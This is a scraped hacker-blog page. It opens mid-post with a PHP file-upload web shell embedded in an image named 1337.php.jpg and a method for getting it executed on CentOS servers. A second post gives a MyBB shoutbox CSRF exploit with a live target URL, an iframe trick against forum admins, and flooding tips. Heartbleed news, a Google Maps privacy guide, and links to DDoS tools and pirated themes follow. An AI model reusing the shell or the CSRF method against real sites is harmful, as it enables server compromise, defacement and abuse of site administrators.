At the end of the image code, I added :

Code:

<br>
<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
    else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
?>

And saved that image as 1337.php.jpg

Once you have saved it, your computer will open and show that image as a normal picture. In that case when you upload it on a CentOS server that allows image upload, the system detects the image code and thinks its safe to upload. Once it is uploaded, CentOS server gets confused and takes that image as a normal .php file.
Open that image with the php code that you uploaded, and Wallahh !

How to know if a server is running on CentOS ?
You can see it by HTTP Live Header. If you don't know much about HTTP Live header, try to make the site give you an error like 404 Page not found or 403 Forbidden. On that page, see servers signature. You will see it like Apache/2.2.15 (CentOS) Server at http://www.target.com Port 80
Example:

Code:

http://domain.me/files/

This exploit/vulnerability was discovered by 1337 from TeaM MaDLeeTs
http://www.MaDLeeTs.com

MyBB MyChat Shoutbox Spamming & CSRF 0day Exploit

2014-04-12T04:32:00.001+05:30

Hi guys,
this tutorial and exploit writer by my friend 1337 (leet hax0r)
I found that MyChat Shoutbox plugin is vulnerable to users spamming as a Guest (Spamming without registering on the forum) and vulnerable to CSRF.
Plugin has no security token to POST data. Therefor it is vulnerable to CSRF also.
Lets see how it works:

Code:

http://target.com/mychat.php?action=insert&message=1337

The above link will submit a message http://www.MaDLeeTs.com with out any problem. If you are not logged in, you can submit messages as a Guest.

To see results, you can see it on the forums index if admins have allowed chatbox to be seen by Guests. If Guests can not see it on forums index, they can see it by the link below:

Code:

http://xnonymoux.org/mychat.php?action=update

You can troll an admin by adding http://target.com/mychat.php?action=insert&message=1337 in a iframe and submit it via PM to the admin of the forum. Once he opens it, a message will be posted by his account. If messages can be seen as a Guest on forum index, you can make your targets forum admin submit a HaCked message with your code-name by replacing 1337 . Once done, mirror it on Zone-H and it might be approved since you where not authorized to submit such messages by admins account

Here is a site that you can play with
Live Demo:

Code:

http://xnonymoux.org/mychat.php?action=insert&message=1337

What ever you submit in message= will be displayed here:

Code:

http://xnonymoux.org/mychat.php?action=update

Note: If you refresh mychat.php?action=insert&message=1337 page, and hold F5. It will flood targets chatbox
Have fun

Exploit by 1337 - TeaM MaDLeeTs
http://www.MaDLeeTs.com

Heartbleed - OpenSSL Zero-day Bug leaves Millions of websites Vulnerable

2014-04-12T04:07:00.000+05:30

On Monday, A potentially critical security vulnerability in OpenSSL has been discovered by a independent security firm Codenomicon along with the Neel Mehta a Google Security engineer, that allows an attacker to read up to 64kilobytes of memory from the server running a vulnerable OpenSSL version.

The flaw is in the popular OpenSSL cryptographic software library and its weakness allows cyber criminals to steal the information protected, under normal conditions, by the SSL (Secure Sockets Layer) or TLS (Transport Security Layer) encryption used to secure the Internet.

OpenSSL is an open-source implementation of the SSL and TLS protocols. It is a cryptographic library which is used for encrypting communication between web server and users. It is being used by almost all popular organisation websites including Yahoo, Google, Twitter and even Apache web server that powers almost half of the websites over internet utilizes OpenSSL.

About The Bug - HeartBleed

The Bug was named as "Heartbleed bug" vulnerability is located in HeartBeat extension and it leads to memory leak. This Critical Bug with a code ID CVE-2014-0160 , allows the attacker to expose up to 64kB of memory from the server or a connected client computer running a vulnerable version of OpenSSL software. In other words, attacker can steal the private or encrypted important information as like username and passwords and other confidential data remotely.

“We have tested some of our own services from attacker’s perspective. We attacked ourselves from outside, without leaving a trace. Without using any privileged information or credentials we were able steal from ourselves the secret keys used for our X.509 certificates, usernames and passwords, instant messages, emails and business critical documents and communication.” Researcher noted on the post.

How to Fix it ?

For this critical bug, researcher have fixed this vulnerability and issued a new version of the OpenSSL software (v1.0.1g). Server using OpenSSL 1.0.1 and 1.0.1f, are vulnerable to this bug and are recommend to upgrade the software to its latest version (which is just released).

Details of the Bug

As for the details and POC of the Vulnerability researcher posted it on GitHub. Additionally you all can check from this website that your server is vulnerable to this bug or not.

The Pr0 Hackers

Appie - Android Pentesting Portable Integrated Environment

TOP 10 Black Hat Hacker and thier story

10. Kevin Poulsen (Dark Dante)

9. Albert Gonzalez

8. Vladimir Levin

7. Robert Tappan Morris

6. Michael Calce (MafiaBoy)

5. David Smith

4. Adrian Lamo

3.George Hotz

2. Jonathan James (c0mrade)

1. Gary McKinnon

+ 0. Kevin Mitnick

Nigeria Internet Registration Association Hacked by Leet

14 Year Old Dutch girl Arrested for Tweeting a Threat message to American Airlines

Israeli Hacker Reportedly Exposes ‘Anonymous’ Members Behind #OpIsrael Cyberattack

Facebook Censorship: India is on the Top of the List for content Removal Requests

How To Hide Your House From Google Maps

As it turns out, there is a way to prevent strangers from seeing your home online through Google Maps.

Many Americans don’t realize it, but Google actually has vehicles driving around the United States taking what are called “street view” pictures. If your home can be seen from a public street, there’s a good chance it’s on Google Maps.

How Google Maps Threatens Your Privacy

That’s not all that Knutson saw on Google. Google had taken a picture of his cars.

How to Hide Your House

The bad news is that there is no way to keep your address off of Google Maps. The good news is that you can get Google to blur out your property so Google Maps users will not see it. Here’s the process which is outlined at Google.

How to get your property blurred:

Go to Google Maps and type in your address

Bring up the street view of your property

Look to the bottom right hand corner of the screen you should see an Icon Labeled: “report a problem.”

Click on “report a problem.”

You will get a page labeled “report inappropriate street view.”

Look for the words “Privacy Concerns” and click on them.

If you want your house blurred, click on “my house.” Then choose the option: “I have a picture of my house and would like it blurred.”

Adjust the image and show Google which part of the photo needs blurred.

Type the verification code at the bottom of the page into the box provided and click submit.

Check back in a few days to see if the image has been blurred.

You can also get license plates and faces blurred. For example, if you want a picture of your business on Google Maps but don’t want the license plate number of your vehicle parked in front on Google, you can get that blurred. You can also get your car blurred out as well if you want.

Google wants you to report license plate numbers and faces that aren’t blurred so it can blur them out. This process does seem to work, and it is free.

Google is Watching You

The amount of information Google collects through Google Maps and posts online is frightening. Not every address is included in Google Street View, though. Addresses in many rural areas are not on street view. Although, chances are that your home is on it if you live in a suburban or urban area.

Flickr have SQL Injection and Remote Code Execution Flaws vuln.

[tool] Syslogger

Download

Billions of Smartphone Users affected by Heartbleed Vulnerability

Microsoft is agree to pay $100 for users to upgrade to the newer version of their Windows OS.

Heartbleed-Checker Add-ons Released for FREE.

MANY FILGHTS WERE CANCELED DUE TO THE DDOS ATTACK BY ANONGHOST and ANONSEC HACKERS(OPISRAEL)

#OP Kashmir Reborn (operation) Launch By Pakistan Hax0rs Crew On 20th April 2014

DrSHA6H Hacked 16+ Israeli Websites Under OpIsrael

Anonghost Ddoser v2.0

Download

German Developer responsible for HeartBleed Bug in OpenSSL

Impreza v.1.0.5 - Themeforest Retina Responsive WordPress Theme

Newspaper v3.4 - Themeforest Wordpress Theme

Cinematix v1.1.7 - Themeforest BuddyPress Theme

Strata - Themeforest Professional Multi-Purpose Theme

Google got Hacked by XXE Vulnerability

CentOS Shell Upload 0day

MyBB MyChat Shoutbox Spamming & CSRF 0day Exploit

Heartbleed - OpenSSL Zero-day Bug leaves Millions of websites Vulnerable